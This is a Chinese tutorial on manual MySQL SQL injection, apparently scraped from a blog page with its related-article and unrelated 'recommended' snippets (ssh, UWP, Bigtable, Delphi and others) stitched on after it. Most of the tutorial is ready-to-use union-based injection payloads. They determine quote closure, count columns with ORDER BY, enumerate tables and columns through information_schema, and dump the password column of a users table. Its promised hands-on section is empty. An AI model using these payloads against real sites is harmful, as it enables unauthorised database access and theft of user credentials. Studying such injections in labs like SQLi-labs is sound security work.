MYSQL手工注入(详细步骤)—— 待补充
0x00 SQL注入的分类:
(1)基于从服务器接收到的响应
▲基于错误的 SQL 注入
▲联合查询的类型
▲堆查询注射
▲SQL 盲注
•基于布尔 SQL 盲注
•基于时间的 SQL 盲注
•基于报错的 SQL 盲注
(2)基于如何处理输入的 SQL 查询(数据类型)
•基于字符串
•数字或整数为基础的
(3)基于程度和顺序的注入(哪里发生了影响)
★一阶注射
★二阶注射
(4)基于注入点的位置上的
▲通过用户输入的表单域的注射。
▲通过 cookie 注射。
▲通过服务器变量注射。 (基于头部信息的注射)
0x01 MYSQL 手工注入流程——基于错误的 SQL 注入
(1)闭合方式:
首先,需要确定SQL语句的闭合方式,常见闭合方式有:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$sql="SELECT * FROM users WHERE id="$id" LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=('$id') LIMIT 0,1";
$sql="SELECT * FROM users WHERE id=("$id") LIMIT 0,1";
(2)order by 查字段数
举例:
?id=1' order by 4--+ //返回Ture(这里的--+可以替换为#,都是注释符的意思)
?id=1' order by 5--+ //返回False
说明字段数为4
(3)确定数据显示位置
?id=0' union select 1,2,3,4--+
通过,1,2,3,4的显示效果,确定要在哪个数字上面做改动
(4)查询当前数据库名
?id=0' union select 1,2,3,database()--+
(这里假设,该页面只能将4号位置的数据显示出来,所以只需要对4号位置的数据做改动)
(5)查询当前数据库的所有表名
0' union select 1,2,3,group_concat(table_name) from information_schema.tables where table_schema=database() --+
(6)查指定表名的所有字段名
0' union select 1,2,3,group_concat(column_name) from information_schema.columns where table_name="users" --+
(7)查指定表的指定字段的所有内容
0' union select 1,2,3,group_concat(password) from users --+
(8)上面的情况是数据很少的时候,可以把指定字段的所有内容显示出来,但是有可能数据太多,不容易分辨,那么就可以在语句后面加上查询数量的限制
1)0' union select 1,2,3,password from users limit 0,1--+
2)0' union select 1,2,3,password from users limit 1,1--+
3)0' union select 1,2,3,password from users limit 2,1--+
0x02 MYSQL 手工注入实战——基于错误的 SQL 注入
这里暂时还没写好,等之后补充进来。
MYSQL手工注入(详细步骤)—— 待补充的更多相关文章
- MySQL手工注入学习-1
MySQL手工注入学习 SQLi-labs 手工注入学习 以下是通过SLQi-labs平台的部分简单例题的手工注入过程 Less-1:union联合查询注入 页面提示:Please input the ...
- 手工注入——MySQL手工注入实战和分析
今天进行了MySQL手工注入实战,分享一下自己的实战过程和总结,这里环境使用的是墨者学院的在线靶场.话不多说,咱们直接开始. 第一步,判断注入点 通过 ' 和构造 and 1=1 和 and 1=2 ...
- MySQL手工注入进阶篇——突破过滤危险字符问题
当我们在进行手工注入时,有时候会发现咱们构造的危险字符被过滤了,接下来,我就教大家如何解决这个问题.下面是我的实战过程.这里使用的是墨者学院的在线靶场.咱们直接开始. 第一步,判断注入点. 通过测试发 ...
- 记一次MySQL手工注入
本来想找个装安全狗的站试下绕过,safe dog没找到,但随便一搜搜到一个小站有SQLi,正好借此机会复习下手工注入(新版Firefox我吐槽一下,hackbar这么好用的工具,说阉割就阉割,哎) 小 ...
- MySQL数据库迁移详细步骤(转)
========================================================================================== 一.背景简介 == ...
- MySQL数据库迁移详细步骤
转载自:http://sofar.blog.51cto.com/353572/1598364 ===================================================== ...
- mysql手工注入步骤
1.一般用 ' " ) 等符号来闭合,再用%23(即#)来注释后面语句. 2.查找数据库,先用order by n猜字段,再用union select 1,2,3 ...n%23来查询. ...
- MySql主从搭建详细步骤
环境: linux64位,一台机器两个实例,主库3306端口,从库3307端口 步骤: 一.下载安装 先下载安装mysql,这里使用了5.7.21版本,具体过程不做详细说明,可自行查资料如何下载 二. ...
- MYSQL手工注入某日本网站
作者:ice 团队:www.anying.org 转载必须注明. E-mail:1c30day@gmail.com 经过一天的辛苦劳动下班了,实在无聊,QQ上的基友基本都挂机睡觉了.找点乐子打发时 ...
随机推荐
- Linux ssh密钥自动登录 专题
在开发中,经常需要从一台主机ssh登陆到另一台主机去,每次都需要输一次login/Password,很繁琐.使用密钥登陆就可以不用输入用户名和密码了 实现从主机A免密码登陆到主机B(即把主机A的pub ...
- UWP使用AppService向另一个UWP客户端应用程序提供服务
原文:UWP使用AppService向另一个UWP客户端应用程序提供服务 在上篇里,我使用的是寄宿在WPF上的WCF进行两个程序间的通信,在解决问题的同时,我的同事也在思考能否使用UWP来做这件事.于 ...
- TP5.0中使用trace调试
1.在项目 的配置文件config.php 配置, 2.在程序中使用trace: 3.在浏览器网页上打开 得到如下图所示:点击 “用户变量”,即可查看使用trace输出的变量 或者我们使用 trace ...
- 01 Python初探
Python初探 Become a better version of yourself! 诞生 python的创始人为吉多·范罗苏姆(Guido van Rossum).1989年开始写Python ...
- Bigtable:结构化数据的分布式存储系统
Bigtable最初是谷歌设计用来存储大规模结构化数据的分布式系统,其可以在数以千计的商用服务器上存储高达PB级别的数据量.开源社区根据Bigtable的设计思路开发了HBase.其优势在于提供了高效 ...
- QQ邮箱打败163邮箱的过程(重视用户体验的结果)
引用 楼主 CKAOS 的回复: 目前负责一个项目,ASP.NET的,做一个网盘系统,别的都弄好了,只差一个下载文件夹的功能未实现,只能在服务器端打包成压缩文件,再发回浏览器.如何直接下载文件夹,不是 ...
- Delphi指针运用理解
现在是面向对象漫天飞的年代了,大家都在在谈面向对象编程.Java对指针“避而不谈”,C#虽然支持指针运用,但是也淡化处理. 然而,指针还是好完全掌握为妙,省得在开发过程碰钉子,至于对指针的运用在于开发 ...
- Dependency Injection 筆記 (4)
续上集未完的相关设计模式... (本文摘自電子書:<.NET 依賴注入> Composite 模式 延续先前的电器比喻.现在,如果希望 UPS 不只接计算机,还要接电风扇.除湿机,可是 U ...
- android核心系列--1,组件生命周期
一,进程模型及进程托管 1,一个APP应用是由一个或多个组件构成的,这些组件可以运行在一个进程中,也可以分别运行在多个进程中: 进程的构造和销毁是由系统全权负责的. 2,一个应用进程只有一个应用环境对 ...
- C++ Builder 控件的卸载
控件卸载: 1.选择 BCB 菜单 File→Close All (关闭所有文件) 选择BCB 菜单: Project→Options→Packages 在 ...